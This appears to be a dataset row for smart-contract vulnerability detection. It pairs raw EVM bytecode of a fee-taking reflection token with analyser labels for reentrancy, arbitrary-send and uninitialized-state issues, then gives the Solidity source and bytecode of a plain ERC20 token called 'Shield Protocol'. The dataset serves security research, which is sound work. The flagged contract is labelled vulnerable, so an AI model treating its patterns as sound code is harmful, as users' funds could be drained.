92505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061285790919063ffffffff16565b6128dd90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e326024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d796022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613e0d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d2c6023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613de46029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b6122298161256d565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612927565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242b600861241d600a866128dd90919063ffffffff16565b61285790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612456573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124ba60026124ac600a866128dd90919063ffffffff16565b61285790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124e5573d6000803e3d6000fd5b5050565b6000600a54821115612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d4f602a913960400191505060405180910390fd5b6000612550612b7e565b905061256581846128dd90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156125a257600080fd5b506040519080825280602002602001820160405280156125d15781602001602082028036833780820191505090505b50905030816000815181106125e257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561268457600080fd5b505afa158015612698573d6000803e3d6000fd5b505050506040513d60208110156126ae57600080fd5b8101908080519060200190929190505050816001815181106126cc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061273330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127f75780820151818401526020810190506127dc565b505050509050019650505050505050600060405180830381600087803b15801561282057600080fd5b505af1158015612834573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561286a57600090506128d7565b600082840290508284828161287b57fe5b04146128d2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d9b6021913960400191505060405180910390fd5b809150505b92915050565b600061291f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ba9565b905092915050565b8061293557612934612c6f565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129d85750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129ed576129e8848484612cb2565b612b6a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a905750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aa557612aa0848484612f12565b612b69565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b475750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5c57612b57848484613172565b612b68565b612b67848484613467565b5b5b5b80612b7857612b77613632565b5b50505050565b6000806000612b8b613646565b91509150612ba281836128dd90919063ffffffff16565b9250505090565b60008083118290612c55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c1a578082015181840152602081019050612bff565b50505050905090810190601f168015612c475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c6157fe5b049050809150509392505050565b6000600c54148015612c8357506000600d54145b15612c8d57612cb0565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612cc4876138f3565b955095509550955095509550612d2287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612db786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e4c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9881613a2d565b612ea28483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612f24876138f3565b955095509550955095509550612f8286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061301783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130f881613a2d565b6131028483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613184876138f3565b9550955095509550955095506131e287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061327786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ed81613a2d565b6133f78483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613479876138f3565b9550955095509550955095506134d786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461395b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061356c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135b881613a2d565b6135c28483613bd2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138a85782600260006009848154811061368057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061376757508160036000600984815481106136ff57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561378557600a54683635c9adc5dea00000945094505050506138ef565b61380e600260006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461395b90919063ffffffff16565b9250613899600360006009848154811061382457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361395b90919063ffffffff16565b91508080600101915050613661565b506138c7683635c9adc5dea00000600a546128dd90919063ffffffff16565b8210156138e657600a54683635c9adc5dea000009350935050506138ef565b81819350935050505b9091565b60008060008060008060008060006139108a600c54600d54613c0c565b9250925092506000613920612b7e565b905060008060006139338e878787613ca2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061399d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b600080828401905083811015613a23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a37612b7e565b90506000613a4e828461285790919063ffffffff16565b9050613aa281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613bcd57613b8983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613be782600a5461395b90919063ffffffff16565b600a81905550613c0281600b546139a590919063ffffffff16565b600b819055505050565b600080600080613c386064613c2a888a61285790919063ffffffff16565b6128dd90919063ffffffff16565b90506000613c626064613c54888b61285790919063ffffffff16565b6128dd90919063ffffffff16565b90506000613c8b82613c7d858c61395b90919063ffffffff16565b61395b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613cbb858961285790919063ffffffff16565b90506000613cd2868961285790919063ffffffff16565b90506000613ce9878961285790919063ffffffff16565b90506000613d1282613d04858761395b90919063ffffffff16565b61395b90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c91e4a4aa1da3e87c68fa368e2c517f1dc05ef0bb8d0eb74bdae7bcb8af0a43b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,948 |
0x60b3bc37593853c04410c4f07fe4d6748245bf77
|
/**
*Submitted for verification at Etherscan.io on 2021-01-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20Basic {
function totalSupply() public view virtual returns (uint256);
function balanceOf(address who) public view virtual returns (uint256);
function transfer(address to, uint256 value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool) {
require(_to != address(0), "Address must not be zero.");
require(_value <= balances[msg.sender], "There is no enough balance.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view override returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
abstract contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view virtual returns (uint256);
function transferFrom(address from, address to, uint256 value)
public virtual returns (bool);
function approve(address spender, uint256 value) public virtual returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
using SafeMath for uint256;
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
require(_to != address(0), "Address must not be zero.");
require(_value <= balances[_from], "There is no enough balance.");
require(_value <= allowed[_from][msg.sender], "There is no enough allowed balance.");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view override
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SHIELDToken is StandardToken {
string public name = "Shield Protocol";
string public symbol = "SHIELD";
uint8 public decimals = 18;
uint256 public INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals));
constructor() {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80636618846311610071578063661884631461028157806370a08231146102e557806395d89b411461033d578063a9059cbb146103c0578063d73dd62314610424578063dd62ed3e14610488576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be5780632ff2e9dc14610242578063313ce56714610260575b600080fd5b6100c1610500565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059e565b60405180821515815260200191505060405180910390f35b6101a8610690565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069a565b60405180821515815260200191505060405180910390f35b61024a610b6c565b6040518082815260200191505060405180910390f35b610268610b72565b604051808260f